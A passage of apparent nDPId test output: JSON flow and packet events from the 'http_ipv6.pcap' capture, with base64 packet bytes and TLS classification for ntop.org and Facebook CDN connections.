+01351{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":508746,"pkt_caplen":742,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":742,"pkt_l4_len":688,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAArAGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjFCTAHnzbqgBgAdEgsAAABAQgKAF6yrBINfOoBBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS\/g\/FfmoXQzbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfjJw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBJiK2\/BideKfR1qOExk62fGRCWO2sbsTGMg8kBgp\/XWed8w7lN6TH7katN9FQAuM6QJRCknrwCZbIYUjEa3xSFUGAQEApa0tLzKyKNP+lyejluUdWDdieRM7AioHIwKIkLfmz2Z0HUDJamWCJU\/7Fgi24K20RGjwACqjPGlOi0\/9Feiexc\/BkTbGp+mpQud8KSLy7P0F1ITw9gKHiFkMFnjjf0bcAs9MnuHWki27C3Rq3GgCWJY3Bhg2PQm3FG98tBh4OxyKdP9B5jLAg\/R8nrvj7Peoh7VNOySr5p8jp5oRsYSAN8aoAHrPzx3syVAJhAzIj8aUkKehEQW+CjRa886JAiLZw5HaJ+UGUxLDoeJjT8o70Pd++J5O1Hf1SBEzRD47aEdCxXD98RTr0G51ixMjRyL\/DSl+nfGmIhnaxY3CAxgeVxYDAwAEDgAAAA=="} +01195{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":155,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":12,"flow_first_seen":1448269144450,"flow_last_seen":1448269144508,"flow_tot_l4_data_len":5364,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":447,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37506,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"shop.ntop.org,www.shop.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=shop.ntop.org","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"FB:A6:FF:A7:58:F3:9D:54:24:45:E5:A0:C4:04:18:D5:58:91:E0:34"}} +00459{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":508786,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNup4xQvAgBABO2sSAAABAQgKEg188gBesqw="} +00630{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":510248,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkoIBuwefNup4xQvAgBgBO2uQAAABAQgKEg188wBesqwWAwMARhAAAEJBBI2kiTbFVqk1DnTMkksLyBJY73L7yEM3biwxnYTxFSEWSVY81Ndsd88TY9qGNC+qUQjFAAStyjdWtIZMKeYeaE0UAwMAAQEWAwMAKAAAAAAAAAAA6LNWqSOV9xS+am+jb+odvLJ3wy3u8abT8cohbnsD+cQ="} +00838{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269144,"pkt_ts_usec":535687,"pkt_caplen":360,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":360,"pkt_l4_len":306,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAATIGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSgnjFC8AHnzdogBgAdJvpAAABAQgKAF6ysxINfPMWAwMA2gQAANYAAAEsANDvs7P+YV2DQXBR8VMRR3R3OIv\/Ead+tcM\/fneMx5kPIpBedJOYBNv\/DjGBgwssRMpXMNnsPcQ80l3SJ8zKGOODHeRFN\/L2WcR\/BL\/hMZa2fuYoATXULlLMbr3M08PAbqVZC\/btKDT\/5xY\/ujY+EEbwfkz73Js7\/kppVheXfGPkL8IzEJYvYoebv4PHpvKl2c1xfyHumPru6eiY88sp7UK9JV9pZD2pNU\/werVtYVSDCzhNSlmajLB2as7Q1SRUyNj5EgiqP3O1Z4YmgpIWm4wyFAMDAAEBFgMDACgndRFmdPhy5vjdcuuThpfWuc2y2v2fq1H6j93EAvEgrMYJHKjRT1pl"} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":170,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1448269145458,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4001:803::1012","src_port":59690,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269145,"pkt_ts_usec":458059,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAEIAwAAAAAAABAS6SoBu3aemNPcvXclgBAA6hVxAAABAQgKEg194OPdWG4="} +00459{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269145,"pkt_ts_usec":478561,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBAAQgDAAAAAAAAEBIqAA1AAAEAA3qswP\/+pw1MAbvpKty9dyV2npjUgBAA8BoIAAABAQgK494IbhIM+eU="} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1448269146905,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53132,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":905115,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKuykAAAAAoAJwgNR+AAACBAWgBAIIChINf0kAAAAAAQMDBw=="} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1448269146905,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53134,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":905214,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPrfMAAAAAoAJwgNR+AAACBAWgBAIIChINf0kAAAAAAQMDBw=="} +00471{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912188,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjun6mTbEj630oBJswJfaAAACBAV8BAIIChvn+wESDX9JAQMDBQ=="} +00459{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912247,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPrfTp+pk3gBAA4dR2AAABAQgKEg1\/Sxvn+wE="} +00471{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912258,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjOjBmT8LSrsqoBJswEUcAAACBAV8BAIIChvn+wESDX9JAQMDBQ=="} +00459{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912275,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKuyrowZlAgBAA4dR2AAABAQgKEg1\/Sxvn+wE="} +00764{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912481,"pkt_caplen":310,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":310,"pkt_l4_len":256,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAQAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPrfTp+pk3gBgA4dVWAAABAQgKEg1\/Sxvn+wEWAwEA2wEAANcDA983Ohoy\/qhBKvCaVPmNiUY3vp8oIoa+qbmtm60AZHnPAAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACO\/wEAAQAAAAAdABsAABhzLXN0YXRpYy5hay5mYWNlYm9vay5jb20AFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1448269146905,"flow_last_seen":1448269146912,"flow_tot_l4_data_len":368,"flow_min_l4_data_len":32,"flow_max_l4_data_len":256,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53134,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s-static.ak.facebook.com","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00763{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":912613,"pkt_caplen":310,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":310,"pkt_l4_len":256,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAQAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKuyrowZlAgBgA4dVWAAABAQgKEg1\/Sxvn+wEWAwEA2wEAANcDA2fZZiw9kTAlONWXaPhqH8RvUelTTuaSCvPTIzelaImLAAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACO\/wEAAQAAAAAdABsAABhzLXN0YXRpYy5hay5mYWNlYm9vay5jb20AFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":179,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1448269146905,"flow_last_seen":1448269146912,"flow_tot_l4_data_len":368,"flow_min_l4_data_len":32,"flow_max_l4_data_len":256,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s-static.ak.facebook.com","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00459{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":919451,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjun6mTfEj67UgBADiC68AAABAQgKG+f7CBINf0s="} +00459{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":919741,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjOjBmUALSrwKgBADiNv9AAABAQgKG+f7CBINf0s="} +05221{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921030,"pkt_caplen":3633,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":3633,"pkt_l4_len":3579,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAADfsGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjun6mTfEj67UgBgDiOJRAAABAQgKG+f7ChINf0sWAwMAUAIAAEwDA1ZS1Vqrh\/+W1GIc\/lVWfzshjIUK09RI1Xdei1GsoGBMAMAvAAAkAAAAAP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xFgMDDCYLAAwiAAwfAAW9MIIFuTCCBKGgAwIBAgIQAVrw2UyttN7MusUVVtTbKDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE1MDgxMjAwMDAwMFoXDTE1MTIzMTEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5hay5mYmNkbi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJeKbqqJTDMFuaScMLbAi5jJbo+rPkXrK8hHzsaHfNb4pJ0m70ReiywBLEEtw4pO6JtFnd2cdyNhAufXYHalx8GEb+7jOq8RM93DytS6BgDYZ6JIRkxxN8WeR6VSSrrLtV5a43OoFePh8jHpFPpa1WOcluB9hbv\/uV+fm8z7PnBCoTKp08w+PD7gnd0ysjj6o2HARfwzNFKXMducdP2ZS2hLC4M8LhF2a6lqZtDHFtwNq1hQPSxjVsYWP7DuxHiQIT3JI+RqKGiBHo2HsyPL5b2m9WEEg5KB\/UJj51ZN4IHeahppbIOO5imUn+2VvPYqxQ7tvwS591OV+ow888z3uXAgMBAAGjggJmMIICYjAfBgNVHSMEGDAWgBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zAdBgNVHQ4EFgQUXgLHmQQC2sFz\/sPuX92ZvGzJYXAwgb4GA1UdEQSBtjCBs4IOKi5hay5mYmNkbi5uZXSCFXMtc3RhdGljLmFrLmZiY2RuLm5ldIILaWdzb25hci5jb22CDSouaWdzb25hci5jb22CD2FrLmZhY2Vib29rLmNvbYIRKi5hay5mYWNlYm9vay5jb22CGioucy1zdGF0aWMuYWsuZmFjZWJvb2suY29tghRjb25uZWN0LmZhY2Vib29rLm5ldIIYcy1zdGF0aWMuYWsuZmFjZWJvb2suY29tMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0fBFowWDAqoCigJoYkaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL2NhMy1nMjkuY3JsMCqgKKAmhiRodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwQgYDVR0gBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBADL\/o3nO9NiRkmsfVQjUOwxVl3ogNnCmWNwM10WJXHNotnEpR18uttjOccX0Ui4wfUIHVeFWdD4rniNtqHRgSrtdch4L3tLq2F4m91qPLFO9vl+nTxInvwKnKLafXBYI2Tw6oJKk4neD0s6gK4zcVCc+3TCRCOkBdKGKaxTcnW1OnJ4ZE132pgcMpvKhbbd99jykRU3GL5jI+Yntrg3+rK6\/kTkdYR1dEiRgVzn2u3llTB5StrYgRjZhrDjh3Kso4ZCQnzpjqEOHEdqOVfW4XjnKEPQ7yU9ywPnNgR6S51TY5QubAStieiHxZjsgpwfcGTBHkhC\/4cT08yQZcuygG38ABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdAB1AHQAZQBzACAAYQBjAGMAZQBwAHQAYQBuAGMAZQAgAG8AZgAgAHQAaABlACAARABpAGcAaQBDAGUAcgB0ACAAQwBQAC8AQwBQAFMAIABhAG4AZAAgAHQAaABlACAAUgBlAGwAeQBpAG4AZwAgAFAAYQByAHQAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkAYwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAGEAcgBlACAAaQBuAGMAbwByAHAAbwByAGEAdABlAGQAIABoAGUAcgBlAGkAbgAgAGIAeQAgAHIAZQBmAGUAcgBlAG4AYwBlAC4wEgYDVR0TAQH\/BAgwBgEB\/wIBADA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTCBjwYDVR0fBIGHMIGEMECgPqA8hjpodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB0GA1UdDgQWBBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zANBgkqhkiG9w0BAQUFAAOCAQEAHuKlSJ5s21M4D++mGiqs4gND7Zq8Po51G\/D9LiJZrBPAYeLn+umZzYcJdVQov0Zg3L5RLJLzG5F8MQhw4je5wVuovaMLAPsaFf0DrVhqxcckmUhHRjEeku+0X040x5C\/McH4sYSG0JwBqt+KVgbOOukOrpd0XddxmkJ0X96NQ3ze6VXtaQDLBeB6YWEz0RlN+QjuoDnFJTW3K8QPst3xpbcOJMQmKI15d\/Uv8Fe6fAfU4fzNWjBXfoYQR90xH9f8osK\/MHxdJKro+a5fanTCzmuzRtghvinUjl4V1kJK5zJvpLFrUYNYvj9tx\/vaAyHLahYZTgrwrYTKXZSzWnb3YRYDAwFNDAABSQMAF0EEdVssJh0Cb8Sn7\/0vWsusHPsMr6joODooTT10fgU1HCbmZwNjplYCIJKAOv4pixoichucKQaWK4moVycwK5RoFAYBAQBIiyJJ9IO4Xlggpj15k6fKJSfB+QZuIzL9dagjwsHNTCbN5jDzwTAUB0JjswNfsIYNU+bxmI9AbIk\/cGx5taGVxsSZIFq5kVyzUmTgSUFWThWXXRdt0R6oFEwYDFRi3mDX2Ss7MVPVmAn+Ua+r8sGpv58AKDVonY6JxJHjsi8TZCHfmAzYHdGbbKicpcE9ojc0QKX1FztqCEH9TIdFe72pKfbbO6co0Q6nmBzy7FUuRD0F2OvxRKcEaNhoZBoaMvITYu6tn22XH94umB9+RsdAEmfHuhWH\/3RA7IU4CQOzJRF\/Ukc7i+\/TjG+OF3ILSvkR7VvkSNss3xx1J1tva9feFgMDAAQOAAAA"} +01270{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":182,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1448269146905,"flow_last_seen":1448269146921,"flow_tot_l4_data_len":3979,"flow_min_l4_data_len":32,"flow_max_l4_data_len":3579,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53134,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s-static.ak.facebook.com","server_names":"*.ak.fbcdn.net,s-static.ak.fbcdn.net,igsonar.com,*.igsonar.com,ak.facebook.com,*.ak.facebook.com,*.s-static.ak.facebook.com,connect.facebook.net,s-static.ak.facebook.com","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"b898351eb5e266aefd3723d466935494","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance 